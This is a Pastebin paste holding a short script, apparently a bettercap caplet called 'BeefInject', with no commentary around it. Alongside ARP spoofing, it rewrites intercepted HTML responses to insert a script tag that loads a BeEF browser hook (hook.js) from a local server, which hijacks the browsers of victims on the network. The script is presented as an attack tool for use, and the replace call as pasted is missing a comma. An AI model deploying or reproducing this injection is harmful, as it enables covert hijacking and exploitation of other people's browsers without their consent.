Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function onLoad () {
- console.log("BeefInject loaded." );
- console.log("targets: " + env('arp.spoof.targets'));
- }
- function onResponse(req, res) {
- if( res.ContentType.indexOf('text/html') == 0 ) {
- var body = res.ReadBody();
- if(body.indexOf('</head>') != -1) {
- res.Body = body.replace(
- '</head>'
- '<script src="http://127.0.0.1:3000/hook.js"></script></head>'
- );
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement